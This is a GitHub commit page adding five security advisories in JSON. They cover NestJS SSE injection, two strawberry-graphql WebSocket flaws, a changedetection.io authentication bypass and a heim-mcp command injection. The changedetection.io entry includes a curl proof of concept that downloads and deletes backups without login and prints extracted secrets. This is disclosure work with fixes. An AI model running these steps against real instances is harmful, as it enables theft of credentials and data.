Skip to content

Commit 1bf0f68

Browse files
1 parent bf0625b commit 1bf0f68

5 files changed

Lines changed: 305 additions & 7 deletions

File tree

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-36xv-jgw5-4q75",
4+
"modified": "2026-04-06T17:59:51Z",
5+
"published": "2026-04-06T17:59:51Z",
6+
"aliases": [
7+
"CVE-2026-35515"
8+
],
9+
"summary": "@nestjs/core Improperly Neutralizes Special Elements in Output Used by a Downstream Component ('Injection')",
10+
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n[`SseStream._transform()`](https://github.com/nestjs/nest/blob/dea5279ef8fcb568de158003e4281759a2cd7675/packages/core/router/sse-stream.ts) interpolates `message.type` and `message.id` directly into Server-Sent Events text protocol output without sanitizing newline characters (`\\r`, `\\n`). Since the SSE protocol treats both `\\r` and `\\n` as field delimiters and `\\n\\n` as event boundaries, an attacker who can influence these fields through upstream data sources can inject arbitrary SSE events, spoof event types, and corrupt reconnection state. Spring Framework's own security patch ([6e97587](https://github.com/spring-projects/spring-framework/commit/6e9758700a4946be1dca85ca937ef2603e291301)) validates these same fields (`id`, `event`) for the same reason.\n\nActual impact:\n\n- **Event spoofing**: Attacker forges SSE events with arbitrary `event:` types, causing client-side `EventSource.addEventListener()` callbacks to fire for wrong event types.\n- **Data injection**: Attacker injects arbitrary `data:` payloads, potentially triggering XSS if the client renders SSE data as HTML without sanitization.\n- **Reconnection corruption**: Attacker injects `id:` fields, corrupting the `Last-Event-ID` header on reconnection, causing the client to miss or replay events.\n- **Attack precondition**: Requires the developer to map user-influenced data to the `type` or `id` fields of SSE messages. Direct HTTP request input does not reach these fields without developer code bridging the gap.\n-\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nPatched in `@nestjs/core@11.1.18`",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@nestjs/core"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "11.1.18"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 11.1.17"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/nestjs/nest/security/advisories/GHSA-36xv-jgw5-4q75"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/nestjs/nest/pull/16686"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/nestjs/nest/commit/83558ae774a990a7916141d3abe0b6548ff3a8b2"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/nestjs/nest"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/nestjs/nest/releases/tag/v11.1.18"
61+
}
62+
],
63+
"database_specific": {
64+
"cwe_ids": [
65+
"CWE-74"
66+
],
67+
"severity": "MODERATE",
68+
"github_reviewed": true,
69+
"github_reviewed_at": "2026-04-06T17:59:51Z",
70+
"nvd_published_at": null
71+
}
72+
}
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-hv3w-m4g2-5x77",
4+
"modified": "2026-04-06T18:00:29Z",
5+
"published": "2026-04-06T18:00:29Z",
6+
"aliases": [
7+
"CVE-2026-35526"
8+
],
9+
"summary": "strawberry-graphql: Denial of Service via unbounded WebSocket subscriptions",
10+
"details": "Strawberry GraphQL's WebSocket subscription handlers for both the `graphql-transport-ws` and legacy `graphql-ws` protocols allocate an `asyncio.Task` and associated `Operation` object for every incoming subscribe message without enforcing any limit on the number of active subscriptions per connection.\n\nAn unauthenticated attacker can open a single WebSocket connection, send connection_init, and then flood subscribe messages with unique IDs. Each message unconditionally spawns a new `asyncio.Task` and async generator, causing linear memory growth and event loop saturation. This leads to server degradation or an OOM crash.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "strawberry-graphql"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.312.3"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.312.2"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-hv3w-m4g2-5x77"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/strawberry-graphql/strawberry/commit/0977a4e6b41b7cfe3e9d8ba84a43458a2b0c54c2"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/strawberry-graphql/strawberry"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/strawberry-graphql/strawberry/releases/tag/0.312.3"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-400",
62+
"CWE-770"
63+
],
64+
"severity": "HIGH",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-04-06T18:00:29Z",
67+
"nvd_published_at": null
68+
}
69+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jmrh-xmgh-x9j4",
4+
"modified": "2026-04-06T18:00:01Z",
5+
"published": "2026-04-06T18:00:01Z",
6+
"aliases": [
7+
"CVE-2026-35490"
8+
],
9+
"summary": "changedetection.io Vulnerable to Authentication Bypass via Decorator Ordering",
10+
"details": "### Summary\n\nOn 13 routes across 5 blueprint files, the `@login_optionally_required` decorator is placed **before** (outer to) `@blueprint.route()` instead of after it. In Flask, `@route()` must be the outermost decorator because it registers the function it receives. When the order is reversed, `@route()` registers the **original undecorated function**, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.\n\nThe developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.\n\n### Details\n\n**Correct order (used on 30+ routes):**\n```python\n@blueprint.route('/settings', methods=['GET'])\n@login_optionally_required\ndef settings():\n ...\n```\n\n**Incorrect order (13 vulnerable routes):**\n```python\n@login_optionally_required # ← Applied to return value of @route, NOT the view\n@blueprint.route('/backups/download/<filename>') # ← Registers raw function\ndef download_backup(filename):\n ...\n```\n\n## POC\n```\n=== PHASE 1: Confirm Authentication is Required ===\n\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/\nMain page: HTTP 302 -> http://127.0.0.1:5557/login?next=/\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/settings\nSettings page: HTTP 302 (auth required, redirects to login)\n\nPassword is set. Unauthenticated requests to / and /settings\nare properly redirected to /login.\n\n=== PHASE 2: Authentication Bypass on Backup Routes ===\n(All requests made WITHOUT any session cookie)\n\n--- Exploit 1: Trigger backup creation ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/request-backup\nResponse: HTTP 302 -> http://127.0.0.1:5557/backups/\n(302 redirects to /backups/ listing page, NOT to /login -- backup was created)\n\n--- Exploit 2: List backups page ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/\nResponse: HTTP 200\n\n--- Exploit 3: Extract backup filenames ---\n$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup\nFound: changedetection-backup-20260331005425.zip\n\n--- Exploit 4: Download backup without authentication ---\n$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip\nResponse: HTTP 200\n\n$ file /tmp/stolen_backup.zip\n/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate\n\n$ ls -la /tmp/stolen_backup.zip\n-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip\n\n$ unzip -l /tmp/stolen_backup.zip\nArchive: /tmp/stolen_backup.zip\n Length Date Time Name\n--------- ---------- ----- ----\n 26496 2026-03-31 00:54 url-watches.json\n 64 2026-03-31 00:52 secret.txt\n 51 2026-03-31 00:52 4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt\n 1682 2026-03-31 00:52 4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br\n 4395 2026-03-31 00:52 4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br\n 40877 2026-03-31 00:52 c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br\n 51 2026-03-31 00:52 c8d85001-19d1-47a1-a8dc-f45876789215/history.txt\n 40877 2026-03-31 00:52 c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br\n 73 2026-03-31 00:54 url-list.txt\n 155 2026-03-31 00:54 url-list-with-tags.txt\n--------- -------\n 114721 10 files\n\n--- Exploit 5: Extract sensitive data from backup ---\nApplication password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...\nWatched URLs:\n - https://news.ycombinator.com/ (UUID: 4ff247a9...)\n - https://changedetection.io/CHANGELOG.txt (UUID: c8d85001...)\n\nFlask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6\n\n--- Exploit 6: Delete all backups without auth ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/remove-backups\nResponse: HTTP 302\n\n=== PHASE 3: Cross-Verification ===\n\nVerify protected routes still require auth:\n / -> HTTP 302 (302 = protected)\n /settings -> HTTP 302 (302 = protected)\n\n=== RESULTS ===\n\nPROTECTED routes (auth required, HTTP 302 -> /login):\n / HTTP 302\n /settings HTTP 302\n\nBYPASSED routes (no auth needed):\n /backups/request-backup HTTP 302 (triggers backup creation, redirects to /backups/ not /login)\n /backups/ HTTP 200 (lists all backups)\n /backups/download/<file> HTTP 200 (downloads backup with secrets)\n /backups/remove-backups HTTP 302 (deletes all backups)\n\n[+] CONFIRMED: Authentication bypass on backup routes!\n```\n\n### Impact\n\n- **Complete data exfiltration** — Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration\n- **Backup restore = config injection** — Attacker can upload a malicious backup with crafted watch configs\n- **SSRF** — Proxy check endpoint can be triggered to scan internal network\n- **Browser session hijacking** — Browser steps endpoints allow controlling Playwright sessions\n\n### Remediation\n\nSwap the decorator order on all 13 routes. `@blueprint.route()` must be outermost:\n\n```python\n# Before (VULNERABLE):\n@login_optionally_required\n@blueprint.route('/backups/download/<filename>')\ndef download_backup(filename):\n\n# After (FIXED):\n@blueprint.route('/backups/download/<filename>')\n@login_optionally_required\ndef download_backup(filename):\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "changedetection.io"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.54.8"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.54.7"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-jmrh-xmgh-x9j4"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/dgtlmoon/changedetection.io/commit/31a760c2147e3e73a403baf6d7de34dc50429c85"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/dgtlmoon/changedetection.io"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.8"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-863"
62+
],
63+
"severity": "CRITICAL",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-04-06T18:00:01Z",
66+
"nvd_published_at": null
67+
}
68+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-vpwc-v33q-mq89",
4+
"modified": "2026-04-06T18:00:26Z",
5+
"published": "2026-04-06T18:00:26Z",
6+
"aliases": [
7+
"CVE-2026-35523"
8+
],
9+
"summary": "strawberry-graphql: Authentication bypass via legacy graphql-ws WebSocket subprotocol",
10+
"details": "Strawberry up until version `0.312.3` is vulnerable to an authentication bypass on WebSocket subscription endpoints. The legacy graphql-ws subprotocol handler does not verify that a `connection_init` handshake has been completed before processing start (subscription) messages. This allows a remote attacker to skip the `on_ws_connect` authentication hook entirely by connecting with the graphql-ws subprotocol and sending a start message directly, without ever sending `connection_init`.\n\nThe graphql-transport-ws subprotocol handler is not affected, as it correctly gates subscription operations on a connection_acknowledged flag. However, both subprotocols are enabled by default in all framework integrations that support websockets, and the subprotocol is selected by the client via the Sec-WebSocket-Protocol header.\n\nAny application relying on `on_ws_connect` for authentication or authorization is affected.\n\nMitigation: Upgrade to the patched version, or explicitly disable the legacy graphql-ws subprotocol by setting `subscription_protocols=[GRAPHQL_TRANSPORT_WS_PROTOCOL]` on your GraphQL view/router.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "strawberry-graphql"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.312.3"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.312.2"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-vpwc-v33q-mq89"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/strawberry-graphql/strawberry/commit/0977a4e6b41b7cfe3e9d8ba84a43458a2b0c54c2"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/strawberry-graphql/strawberry"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/strawberry-graphql/strawberry/releases/tag/0.312.3"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-306"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-04-06T18:00:26Z",
66+
"nvd_published_at": null
67+
}
68+
}

advisories/unreviewed/2026/04/GHSA-wx4p-jr66-jfp9/GHSA-wx4p-jr66-jfp9.json renamed to advisories/github-reviewed/2026/04/GHSA-wx4p-jr66-jfp9/GHSA-wx4p-jr66-jfp9.json

Lines changed: 28 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,12 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-wx4p-jr66-jfp9",
4-
"modified": "2026-04-06T00:30:24Z",
4+
"modified": "2026-04-06T18:01:48Z",
55
"published": "2026-04-06T00:30:24Z",
66
"aliases": [
77
"CVE-2026-5602"
88
],
9+
"summary": "@nor2/heim-mcp vulnerable to command injection",
910
"details": "A vulnerability was determined in Nor2-io heim-mcp up to 0.1.3. Impacted is the function registerTools of the file src/tools.ts of the component new_heim_application/deploy_heim_application/deploy_heim_application_to_cloud. This manipulation causes os command injection. The attack requires local access. The exploit has been publicly disclosed and may be utilized. Patch name: c321d8af25f77668781e6ccb43a1336f9185df37. It is suggested to install a patch to address this issue. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.",
1011
"severity": [
1112
{
@@ -14,10 +15,30 @@
1415
},
1516
{
1617
"type": "CVSS_V4",
17-
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
18+
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"
19+
}
20+
],
21+
"affected": [
22+
{
23+
"package": {
24+
"ecosystem": "npm",
25+
"name": "@nor2/heim-mcp"
26+
},
27+
"ranges": [
28+
{
29+
"type": "ECOSYSTEM",
30+
"events": [
31+
{
32+
"introduced": "0"
33+
},
34+
{
35+
"last_affected": "0.1.3"
36+
}
37+
]
38+
}
39+
]
1840
}
1941
],
20-
"affected": [],
2142
"references": [
2243
{
2344
"type": "ADVISORY",
@@ -36,7 +57,7 @@
3657
"url": "https://github.com/Nor2-io/heim-mcp/commit/c321d8af25f77668781e6ccb43a1336f9185df37"
3758
},
3859
{
39-
"type": "WEB",
60+
"type": "PACKAGE",
4061
"url": "https://github.com/Nor2-io/heim-mcp"
4162
},
4263
{
@@ -60,9 +81,9 @@
6081
"cwe_ids": [
6182
"CWE-77"
6283
],
63-
"severity": "MODERATE",
64-
"github_reviewed": false,
65-
"github_reviewed_at": null,
84+
"severity": "LOW",
85+
"github_reviewed": true,
86+
"github_reviewed_at": "2026-04-06T18:01:48Z",
6687
"nvd_published_at": "2026-04-05T23:16:19Z"
6788
}
6889
}

0 commit comments

Comments
 (0)